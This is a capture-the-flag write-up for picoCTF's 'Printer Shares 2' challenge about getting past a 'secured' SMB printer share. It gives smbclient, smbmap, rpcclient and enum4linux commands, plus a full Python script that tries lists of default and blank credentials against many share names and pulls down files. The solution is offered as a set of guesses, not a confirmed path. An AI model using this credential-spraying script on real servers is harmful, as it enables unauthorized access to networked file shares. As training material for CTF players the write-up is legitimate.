┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Printer Shares 2 — picoCTF 2026
~ Imattas aka Zemi
 Category: General Skills
 Difficulty: Medium
 Points: 200
 Author: Imattas aka Zemi

────────────────────────────────────────────────────────────────────────────────

--[ Challenge Description ]--

 A Secure Printer is now in use. I'm confident no one can leak the message
again... or can you?

────────────────────────────────────────────────────────────────────────────────

--[ Recon / Initial Analysis ]--

This is the sequel to the "Printer Shares" challenge (which involved basic
anonymous SMB share enumeration). In Printer Shares 2, the printer share is now
"secured" -- meaning anonymous access is no longer sufficient. You need to find
alternate ways to authenticate or bypass the security to retrieve the flag.

:: Background: SMB (Server Message Block) Protocol

SMB is a network file-sharing protocol that allows applications to read/write
files and request services from server programs on a network. In CTF challenges
involving printers, the print job data is typically stored in an SMB share that
simulates a printer spool directory.

:: What Changed from Printer Shares 1

In the original Printer Shares challenge, you could connect with anonymous/guest
access (smbclient -N) and directly retrieve flag.txt from a public share. In
Printer Shares 2, the share is "secure" -- but the security has flaws that can
be exploited.

:: Tools

- smbclient: Interactive SMB client, similar to an FTP client
- smbmap: SMB enumeration tool that checks share permissions
- enum4linux: Comprehensive SMB enumeration script
- crackmapexec / nxc (netexec): Network service attack tool with SMB support
- rpcclient: RPC client for enumerating users and shares

────────────────────────────────────────────────────────────────────────────────

--[ Vulnerability / Observation ]--

The "secured" share still has exploitable weaknesses. Common SMB security
bypasses to try:

1. Guest authentication with empty password: Some SMB servers allow the "guest"
user with a blank password even when anonymous is disabled.
2. Null session authentication: Using an empty username with -N (no password)
flag, or explicitly specifying --user="".
3. Default/weak credentials: The printer may have default credentials like
print/print, admin/admin, or printer/password.
4. Share enumeration with different tools: Using enum4linux, smbmap, or
crackmapexec to discover accessible shares and permissions.
5. SMB protocol version downgrade: Forcing an older protocol version (-m SMB2 or
--option='client min protocol=NT1') may bypass newer security checks.
6. Print job metadata: The flag could be embedded in print job metadata (PJL
commands, PCL data, or PostScript) rather than a plain text file.
7. Alternate share names: The flag may not be in the obvious share; enumerate
all shares with smbclient -L.

────────────────────────────────────────────────────────────────────────────────

--[ Exploitation / Solution ]--

:: Step 1: Enumerate Available Shares
-- bash --
# List all available shares (try anonymous first)
smbclient -L //CHALLENGE_HOST -p PORT -N

# If anonymous listing is blocked, try guest account
smbclient -L //CHALLENGE_HOST -p PORT -U "guest" --password=""

# Use smbmap for permission enumeration
smbmap -H CHALLENGE_HOST -P PORT

# Use smbmap with guest credentials
smbmap -H CHALLENGE_HOST -P PORT -u "guest" -p ""
:: Step 2: Try Various Authentication Methods
-- bash --
# Anonymous access (may be blocked in this version)
smbclient //CHALLENGE_HOST/shares -p PORT -N

# Guest account with blank password
smbclient //CHALLENGE_HOST/shares -p PORT -U "guest" --password=""

# Try common printer credentials
smbclient //CHALLENGE_HOST/shares -p PORT -U "print" --password="print"
smbclient //CHALLENGE_HOST/shares -p PORT -U "printer" --password="printer"

# Null session with explicit empty user
smbclient //CHALLENGE_HOST/shares -p PORT -U "" -N

# Force older protocol version
smbclient //CHALLENGE_HOST/shares -p PORT -N --option='client min protocol=NT1'
:: Step 3: Explore the Share and Retrieve the Flag
-- bash --
# Once connected, list files
smb: \> ls
smb: \> dir

# Look for flag files, print jobs, spool files
smb: \> get flag.txt
smb: \> get print_job.pcl
smb: \> get spool/job001.prn

# Check subdirectories
smb: \> cd spool
smb: \> ls
smb: \> cd ..
:: Step 4: Analyze Print Job Data (if flag is not in plaintext)

If the flag is embedded in a print job file (PCL, PostScript, PJL), extract it:
-- bash --
# Search for the flag pattern in downloaded files
strings print_job.pcl | grep -i pico
strings spool_file.prn | grep -i pico

# For PostScript files, look for embedded text
cat job.ps | grep -i flag
:: Step 5: Enumerate Users and RPC Info
-- bash --
# Use rpcclient to enumerate users (may reveal valid usernames)
rpcclient -U "" -N CHALLENGE_HOST -p PORT -c "enumdomusers"
rpcclient -U "" -N CHALLENGE_HOST -p PORT -c "querydominfo"

# Use enum4linux for comprehensive enumeration
enum4linux -a -p PORT CHALLENGE_HOST
────────────────────────────────────────────────────────────────────────────────

--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
Printer Shares 2 - picoCTF 2026 (General Skills, 200 pts)

A "Secure Printer" SMB share that blocks simple anonymous access.
This script tries multiple authentication methods and share names
to enumerate and retrieve the flag.

Usage:
    python3 solve.py

Dependencies: smbprotocol (pip install smbprotocol)
    OR use smbclient (system package) via subprocess

You will need to fill in the challenge-specific values below:
  - HOST: The challenge hostname
  - PORT: The challenge SMB port
"""

import subprocess
import sys
import re
import os
import tempfile

# ============================================================
# CHALLENGE-SPECIFIC VALUES - Fill these in from the challenge
# ============================================================
HOST = "CHALLENGE_HOST"  # e.g., "mysterious-sea.picoctf.net"
PORT = "CHALLENGE_PORT"  # e.g., "53888"

# Common share names to try
SHARE_NAMES = [
    "shares",
    "print$",
    "printer",
    "spool",
    "public",
    "documents",
    "IPC$",
    "flag",
    "secure",
    "print",
    "Printer",
    "PrinterShare",
]

# Credential pairs to try: (username, password)
CREDENTIALS = [
    ("", ""),                    # Null session
    ("guest", ""),               # Guest with blank password
    ("guest", "guest"),          # Guest/guest
    ("print", ""),               # Print user blank password
    ("print", "print"),          # Print/print
    ("printer", ""),             # Printer blank password
    ("printer", "printer"),      # Printer/printer
    ("admin", ""),               # Admin blank password
    ("admin", "admin"),          # Admin/admin
    ("anonymous", ""),           # Anonymous
    ("anonymous", "anonymous"),  # Anonymous/anonymous
    ("smbuser", ""),             # SMB user blank
    ("user", ""),                # User blank
    ("user", "user"),            # User/user
]


def run_smbclient(args, timeout=15):
    """Run smbclient with given arguments and return (returncode, stdout, stderr)."""
    cmd = ["smbclient"] + args
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=timeout,
        )
        return result.returncode, result.stdout, result.stderr
    except FileNotFoundError:
        print("[!] smbclient not found. Install it with: sudo apt install smbclient")
        sys.exit(1)
    except subprocess.TimeoutExpired:
        return -1, "", "Timeout"


def enumerate_shares(host, port):
    """Try to list available shares on the server."""
    print("[*] Enumerating SMB shares...")
    found_shares = []

    for username, password in CREDENTIALS:
        cred_desc = f"user='{username}', pass='{password}'" if username else "anonymous"
        args = ["-L", f"//{host}", "-p", port]

        if not username and not password:
            args.append("-N")
        elif username:
            args.extend(["-U", f"{username}%{password}"])
        else:
            args.append("-N")

        # Try with different SMB protocol options
        for extra_opts in [[], ["--option=client min protocol=NT1"]]:
            rc, stdout, stderr = run_smbclient(args + extra_opts)

            if rc == 0 and ("Disk" in stdout or "Printer" in stdout or "IPC" in stdout):
                print(f"[+] Share listing succeeded with {cred_desc}")
                print(f"    Output:\n{stdout}")

                # Parse share names from output
                for line in stdout.splitlines():
                    line = line.strip()
                    if "Disk" in line or "Printer" in line:
                        share_name = line.split()[0]
                        if share_name not in found_shares:
                            found_shares.append(share_name)
                            print(f"    [+] Found share: {share_name}")
                break

        if found_shares:
            break

    return found_shares


def try_access_share(host, port, share_name, username, password):
    """
    Try to connect to a share and list/download files.
    Returns the flag if found, None otherwise.
    """
    args = [f"//{host}/{share_name}", "-p", port]

    if not username and not password:
        args.append("-N")
    elif username:
        args.extend(["-U", f"{username}%{password}"])
    else:
        args.append("-N")

    # Command to list files and search for flag
    smb_commands = "ls\ncd spool\nls\ncd ..\ncd print\nls\ncd ..\n"

    rc, stdout, stderr = run_smbclient(
        args + ["-c", "ls"],
    )

    if rc != 0 or "NT_STATUS_" in stderr:
        return None

    print(f"  [+] Connected to //{host}/{share_name}")
    print(f"      Files: {stdout.strip()}")

    # Look for interesting files
    flag_files = []
    for line in stdout.splitlines():
        line = line.strip()
        if not line or line.startswith(".."):
            continue
        # Parse smbclient ls output: "  filename    N    size  date"
        parts = line.split()
        if parts:
            fname = parts[0]
            if fname in (".", ".."):
                continue
            # Prioritize flag files, then any text/data files
            if "flag" in fname.lower() or fname.endswith(".txt") or fname.endswith(".pcl") or fname.endswith(".prn") or fname.endswith(".ps"):
                flag_files.insert(0, fname)
            elif not fname.startswith("."):
                flag_files.append(fname)

    # Download and check each file
    with tempfile.TemporaryDirectory() as tmpdir:
        for fname in flag_files:
            local_path = os.path.join(tmpdir, fname)
            dl_args = args + ["-c", f'get "{fname}" "{local_path}"']
            rc, stdout_dl, stderr_dl = run_smbclient(dl_args)

            if rc == 0 and os.path.exists(local_path):
                try:
                    with open(local_path, 'r', errors='replace') as f:
                        content = f.read()

                    # Search for flag pattern
                    flag_match = re.search(r'picoCTF\{[^}]+\}', content)
                    if flag_match:
                        return flag_match.group(0)

                    # Also try binary search with strings
                    if not flag_match:
                        result = subprocess.run(
                            ["strings", local_path],
                            capture_output=True, text=True, timeout=10,
                        )
                        flag_match = re.search(r'picoCTF\{[^}]+\}', result.stdout)
                        if flag_match:
                            return flag_match.group(0)

                    # Print file content (truncated) for debugging
                    preview = content[:500]
                    if preview.strip():
                        print(f"      Content of {fname}: {preview[:200]}...")

                except Exception as e:
                    print(f"      Error reading {fname}: {e}")

    # Also try listing subdirectories
    for subdir in ["spool", "print", "jobs", "data"]:
        rc, stdout_sub, stderr_sub = run_smbclient(
            args + ["-c", f"cd {subdir}; ls"],
        )
        if rc == 0 and "NT_STATUS_" not in stderr_sub and stdout_sub.strip():
            print(f"      Subdirectory {subdir}/: {stdout_sub.strip()}")
            # Look for files in subdirectory
            for line in stdout_sub.splitlines():
                parts = line.strip().split()
                if parts and parts[0] not in (".", ".."):
                    fname = parts[0]
                    with tempfile.TemporaryDirectory() as tmpdir2:
                        local_path = os.path.join(tmpdir2, fname)
                        dl_args = args + ["-c", f'cd {subdir}; get "{fname}" "{local_path}"']
                        rc2, _, _ = run_smbclient(dl_args)
                        if rc2 == 0 and os.path.exists(local_path):
                            try:
                                with open(local_path, 'r', errors='replace') as f:
                                    content = f.read()
                                flag_match = re.search(r'picoCTF\{[^}]+\}', content)
                                if flag_match:
                                    return flag_match.group(0)
                            except Exception:
                                pass

    return None


def main():
    print("=" * 60)
    print("  Printer Shares 2 - picoCTF 2026 (General Skills, 200 pts)")
    print("  Secure Printer SMB share exploitation")
    print("=" * 60)

    if HOST == "CHALLENGE_HOST":
        print()
        print("[!] Please update HOST and PORT with the challenge values.")
        print()
        print("[*] Example:")
        print('    HOST = "mysterious-sea.picoctf.net"')
        print('    PORT = "53888"')
        print()
        print("[*] Manual quick-try commands:")
        print("    smbclient -L //HOST -p PORT -N")
        print("    smbclient -L //HOST -p PORT -U 'guest' --password=''")
        print("    smbclient //HOST/shares -p PORT -N")
        print("    smbclient //HOST/shares -p PORT -U 'guest' --password=''")
        print("    smbmap -H HOST -P PORT")
        print("    smbmap -H HOST -P PORT -u 'guest' -p ''")
        sys.exit(1)

    # Step 1: Enumerate shares
    found_shares = enumerate_shares(HOST, PORT)

    # Combine found shares with our default list
    all_shares = list(found_shares)
    for s in SHARE_NAMES:
        if s not in all_shares:
            all_shares.append(s)

    # Step 2: Try to access each share with each credential pair
    print(f"\n[*] Trying {len(all_shares)} shares with {len(CREDENTIALS)} credential pairs...")

    flag = None
    for share_name in all_shares:
        for username, password in CREDENTIALS:
            cred_desc = f"'{username}':'{password}'" if username else "anonymous"
            print(f"  [*] Trying //{HOST}/{share_name} as {cred_desc}...")

            flag = try_access_share(HOST, PORT, share_name, username, password)
            if flag:
                break
        if flag:
            break

    # Print result
    if flag:
        print(f"\n{'=' * 60}")
        print(f"  FLAG: {flag}")
        print(f"{'=' * 60}")
    else:
        print("\n[!] Could not retrieve flag automatically.")
        print("[*] Manual investigation steps:")
        print(f"    1. smbclient -L //{HOST} -p {PORT} -N")
        print(f"    2. smbmap -H {HOST} -P {PORT}")
        print(f"    3. enum4linux -a {HOST} -p {PORT}")
        print(f"    4. Try: smbclient //{HOST}/<share> -p {PORT} -U 'guest' --password=''")
        print(f"    5. Check print job files for embedded flags (PCL/PostScript/PJL)")
        print(f"    6. Try rpcclient -U '' -N {HOST} -p {PORT}")


if __name__ == '__main__':
    main()
────────────────────────────────────────────────────────────────────────────────

--[ Key Takeaways ]--

- A "secured" SMB share rarely blocks every path: guest accounts with blank
passwords, null sessions, and weak/default printer credentials are the first
bypasses to try.
- Brute-force the credential/share matrix systematically; tools like smbmap,
enum4linux, and rpcclient reveal permissions and valid usernames.
- Forcing an older protocol (client min protocol=NT1) can sidestep newer
security checks.
- The flag may be hidden in print-job artifacts (PCL/PJL/PostScript) rather than
a plaintext file -- strings | grep -i pico over downloaded spool files finds it.